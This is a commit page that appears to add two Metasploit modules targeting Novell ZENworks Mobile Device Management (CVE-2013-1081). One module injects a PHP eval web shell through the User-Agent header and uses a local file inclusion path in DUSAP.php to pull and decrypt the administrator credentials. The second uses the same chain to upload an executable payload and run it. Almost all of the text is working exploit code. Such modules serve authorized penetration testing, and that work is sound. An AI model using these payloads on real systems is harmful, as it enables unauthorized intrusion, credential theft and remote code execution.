Skip to content

Commit a3b25fd

Browse files
committed
Land rapid7#1909 - Novell Zenworks Mobile Device Managment exploit & auxiliary
2 parents 95c1df2 + 307773b commit a3b25fd

File tree

2 files changed

+276
-0
lines changed

2 files changed

+276
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize
17+
super(
18+
'Name' => 'Novell Zenworks Mobile Device Managment Admin Credentials',
19+
'Description' => %q{
20+
This module attempts to pull the administrator credentials from
21+
a vulnerable Novell Zenworks MDM server.
22+
},
23+
'Author' =>
24+
[
25+
'steponequit',
26+
'Andrea Micalizzi (aka rgod)' #zdireport
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2013-1081'],
31+
['OSVDB', '91119'],
32+
['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
33+
],
34+
'License' => MSF_LICENSE
35+
)
36+
37+
register_options([
38+
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/'])
39+
], self.class)
40+
41+
register_advanced_options([
42+
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
43+
], self.class)
44+
end
45+
46+
def setup_session()
47+
sess = Rex::Text.rand_text_alpha(8)
48+
cmd = Rex::Text.rand_text_alpha(8)
49+
res = send_request_cgi({
50+
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
51+
'method' => "HEAD",
52+
'uri' => normalize_uri("#{target_uri.path}", "download.php"),
53+
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
54+
})
55+
return sess,cmd
56+
end
57+
58+
def get_creds(session_id,cmd_var)
59+
cmd = '$pass=mdm_ExecuteSQLQuery('
60+
cmd << '"SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1"'
61+
cmd << ',array(),false,-1,"","","",QUERY_TYPE_SELECT);'
62+
cmd << 'echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
63+
64+
res = send_request_cgi({
65+
'method' => 'GET',
66+
'uri' => normalize_uri("#{target_uri.path}", "DUSAP.php"),
67+
'vars_get' => {
68+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
69+
cmd_var => cmd
70+
}
71+
})
72+
creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
73+
return creds.split(":")
74+
end
75+
76+
def run_host(ip)
77+
print_status("Verifying that Zenworks login page exists at #{ip}")
78+
uri = normalize_uri(target_uri.path)
79+
80+
begin
81+
res = send_request_raw({
82+
'method' => 'GET',
83+
'uri' => uri
84+
})
85+
86+
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
87+
print_status("Found Zenworks MDM, Checking application version")
88+
ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
89+
print_status("Found Version #{ver}")
90+
session_id,cmd = setup_session()
91+
user,pass = get_creds(session_id,cmd)
92+
print_good("Got creds. Login:#{user} Password:#{pass}")
93+
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
94+
95+
report_auth_info(
96+
:host => ip,
97+
:port => rport,
98+
:sname => "novellmdm",
99+
:user => user,
100+
:pass => pass,
101+
:active => true
102+
)
103+
else
104+
print_error("Zenworks MDM does not appear to be running at #{ip}")
105+
return :abort
106+
end
107+
108+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
109+
rescue ::Timeout::Error, ::Errno::EPIPE
110+
rescue ::OpenSSL::SSL::SSLError => e
111+
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
112+
end
113+
end
114+
115+
end
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::EXE
14+
15+
def initialize
16+
super(
17+
'Name' => 'Novell Zenworks Mobile Device Managment Local File Inclusion Vulnerability',
18+
'Description' => %q{
19+
This module attempts to gain remote code execution on a server running
20+
Novell Zenworks Mobile Device Management.
21+
},
22+
'Author' =>
23+
[
24+
'steponequit',
25+
'Andrea Micalizzi (aka rgod)' #zdi report
26+
],
27+
'Platform' => 'win',
28+
'Targets' =>
29+
[
30+
[ 'Novell Zenworks Mobile Device Management on Windows', {} ],
31+
],
32+
'DefaultTarget' => 0,
33+
'References' =>
34+
[
35+
['CVE', '2013-1081'],
36+
['OSVDB', '91119'],
37+
['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
38+
],
39+
'DisclosureDate' => "Mar 13 2013",
40+
'License' => MSF_LICENSE
41+
)
42+
43+
register_options([
44+
OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
45+
OptInt.new('RPORT', [true, "Default remote port", 80])
46+
], self.class)
47+
48+
register_advanced_options([
49+
OptBool.new('SSL', [true, "Negotiate SSL connection", false])
50+
], self.class)
51+
end
52+
53+
def peer
54+
"#{rhost}:#{rport}"
55+
end
56+
57+
def get_version
58+
version = nil
59+
60+
res = send_request_raw({
61+
'method' => 'GET',
62+
'uri' => target_uri.path
63+
})
64+
65+
if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
66+
version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
67+
end
68+
69+
return version
70+
end
71+
72+
def check
73+
v = get_version
74+
print_status("#{peer} - Detected version: #{v || 'Unknown'}")
75+
76+
if v.nil?
77+
return Exploit::CheckCode::Unknown
78+
elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
79+
# Conditions based on OSVDB info
80+
return Exploit::CheckCode::Vulnerable
81+
end
82+
83+
return Exploit::CheckCode::Safe
84+
end
85+
86+
def setup_session()
87+
sess = Rex::Text.rand_text_alpha(8)
88+
cmd = Rex::Text.rand_text_alpha(8)
89+
res = send_request_cgi({
90+
'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
91+
'method' => "HEAD",
92+
'uri' => normalize_uri("#{target_uri.path}/download.php"),
93+
'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
94+
})
95+
return sess,cmd
96+
end
97+
98+
def upload_shell(session_id,cmd_var)
99+
fname = Rex::Text.rand_text_alpha(8)
100+
payload = generate_payload_exe
101+
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
102+
cmd << "file_put_contents($wdir.'#{fname}.exe',"
103+
cmd << "base64_decode(file_get_contents('php://input')));"
104+
105+
res = send_request_cgi({
106+
'method' => 'POST',
107+
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
108+
'data' => Rex::Text.encode_base64(payload),
109+
'vars_get' => {
110+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
111+
cmd_var => cmd
112+
}
113+
})
114+
return fname
115+
end
116+
117+
def exec_shell(session_id,cmd_var,fname)
118+
cmd = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
119+
cmd << "$cmd=$wdir.'#{fname}';"
120+
cmd << "$output=array();"
121+
cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
122+
cmd << "$pipes,null,null,array('bypass_shell'=>true));"
123+
cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
124+
125+
res = send_request_cgi({
126+
'method' => 'POST',
127+
'uri' => normalize_uri(target_uri.path, "DUSAP.php"),
128+
'data' => Rex::Text.encode_base64(payload),
129+
'vars_get' => {
130+
'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
131+
cmd_var => cmd
132+
}
133+
})
134+
end
135+
136+
137+
def exploit()
138+
begin
139+
print_status("#{peer} - Checking application version...")
140+
v = get_version
141+
if v.nil?
142+
print_error("#{peer} - Unable to detect version, abort!")
143+
return
144+
end
145+
146+
print_good("#{peer} - Found Version #{v}")
147+
print_status("#{peer} - Setting up poisoned session")
148+
session_id,cmd = setup_session()
149+
print_status("#{peer} - Uploading payload")
150+
fname = upload_shell(session_id,cmd)
151+
print_status("#{peer} - Executing payload")
152+
exec_shell(session_id,cmd,fname)
153+
154+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
155+
rescue ::Timeout::Error, ::Errno::EPIPE
156+
rescue ::OpenSSL::SSL::SSLError => e
157+
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
158+
end
159+
end
160+
161+
end

0 commit comments

Comments
 (0)